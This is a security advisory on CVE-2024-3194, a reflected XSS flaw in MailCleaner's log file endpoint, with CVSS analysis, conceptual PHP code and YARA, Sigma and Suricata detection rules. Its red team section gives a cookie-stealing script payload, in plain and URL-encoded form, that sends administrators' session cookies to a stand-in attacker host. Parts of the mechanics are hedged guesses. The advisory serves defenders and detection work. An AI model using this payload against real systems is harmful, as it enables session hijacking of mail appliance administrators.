CVE-2024-3194

Executive Summary

CVE-2024-3194 is a reflected Cross-Site Scripting (XSS) vulnerability in MailCleaner up to version 2023.03.14. The flaw resides in the Log File Endpoint, where user-supplied input is not properly sanitized before being reflected in the response. An attacker can craft a malicious URL that, when visited by an authenticated administrator, executes arbitrary JavaScript in the context of the MailCleaner web interface. This can lead to session hijacking, credential theft, or further compromise of the mail security appliance. The vulnerability has a CVSS score of 4.3 (Medium) and a public proof-of-concept (PoC) is available. No official patch has been confirmed at the time of analysis.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a standalone appliance (MailCleaner). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need authentication.
• User Interaction (UI): Required – The victim must click a crafted link.
• Scope (S): Unchanged – The exploit cannot affect other components.
• Confidentiality (C): Low – Limited information disclosure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify content (e.g., inject forms).
• Availability (A): None – No impact on service availability.

Threat Level: Medium. The attack requires user interaction, but the PoC is public and the vulnerability is unpatched. Exploitation is likely in targeted campaigns against MailCleaner administrators.

Deep Dive & Mechanics

The vulnerability exists in the Log File Endpoint of MailCleaner. This endpoint is used to view system logs for troubleshooting. The application fails to properly encode or sanitize user-supplied parameters (likely a file or log parameter) before reflecting them in the HTML response.

Attack Flow:

1. An attacker identifies a MailCleaner instance (e.g., via Shodan).
2. The attacker crafts a malicious URL: https://target/mailcleaner/logs?file=<script>alert('XSS')</script>
3. The attacker sends this URL to an authenticated administrator via email or social engineering.
4. The administrator clicks the link while logged into MailCleaner.
5. The server reflects the unsanitized <script> tag in the response, executing the attacker's JavaScript.
6. The JavaScript can steal session cookies, perform actions on behalf of the admin, or redirect to a phishing page.

Root Cause: Lack of output encoding for user-controlled input in the Log File Endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

<?php
$file = $_GET['file'];
echo "<h1>Viewing log: $file</h1>";
// ... rest of log display logic
?>

Patched Code (Conceptual PHP):

<?php
$file = htmlspecialchars($_GET['file'], ENT_QUOTES, 'UTF-8');
echo "<h1>Viewing log: $file</h1>";
// ... rest of log display logic
?>

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A MailCleaner instance (version <= 2023.03.14) – can be set up via Docker or VM.
• A web browser with developer tools.
• A listener to capture cookies (e.g., a simple HTTP server).

Exploit Steps:

1. Identify the vulnerable parameter (likely file or log).
2. Craft a payload to steal cookies:

   https://target/mailcleaner/logs?file=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Send the link to an authenticated admin.
4. Capture the cookie on your listener.

Example Payload (URL-encoded):

https://target/mailcleaner/logs?file=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E

Blue Team

Detection:

• Monitor web server logs for requests to /mailcleaner/logs with suspicious parameters containing <script>, onerror, javascript:, etc.
• Use the Sigma rule below to detect XSS attempts.

Mitigation:

• Apply input validation and output encoding to the Log File Endpoint.
• Implement a Web Application Firewall (WAF) rule to block XSS patterns.
• Restrict access to the admin interface via VPN or IP whitelisting.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /mailcleaner/logs with parameters containing <script>, %3Cscript%3E, or other HTML/JavaScript tags.
  • Outbound connections from the MailCleaner server to unknown IPs on port 80/443 (cookie exfiltration).
• File IOCs:
  • Suspicious entries in MailCleaner access logs showing XSS payloads.
• Behavioral IOCs:
  • Unusual admin actions (e.g., configuration changes) performed without legitimate cause.

Detection Engineering

YARA Rule

rule CVE_2024_3194_XSS_LogFile {
    meta:
        description = "Detects XSS attempts against MailCleaner Log File Endpoint"
        author = "Valters IT"
        date = "2024-05-20"
        reference = "CVE-2024-3194"
    strings:
        $xss1 = /\/mailcleaner\/logs\?.*(<script|<img|<svg|onerror|onload|javascript:)/
        $xss2 = /%3Cscript%3E|%3Cimg%3E|%3Csvg%3E/
    condition:
        any of them
}

Sigma Rule

title: MailCleaner Log File XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts against MailCleaner Log File Endpoint (CVE-2024-3194)
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/mailcleaner/logs?'
            - '<script'
            - '<img'
            - '<svg'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate log file names containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-3194 MailCleaner Log File XSS Attempt";
    flow:to_server,established;
    content:"/mailcleaner/logs"; http_uri;
    pcre:"/(<script|<img|<svg|onerror|onload|javascript:)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Apply Input Validation: Sanitize all user-supplied parameters in the Log File Endpoint. Use a whitelist of allowed characters (e.g., alphanumeric, underscores, hyphens).
2. Output Encoding: Encode all output using htmlspecialchars() or equivalent before rendering in HTML.
3. WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS patterns.
4. Access Control: Restrict access to the MailCleaner admin interface to trusted IPs only.

Long-Term Fix:

• Monitor the MailCleaner vendor for an official patch. If none is released, consider migrating to an alternative mail security solution.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Verification:

• After applying patches or mitigations, test the endpoint with XSS payloads to confirm they are blocked.

Valters IT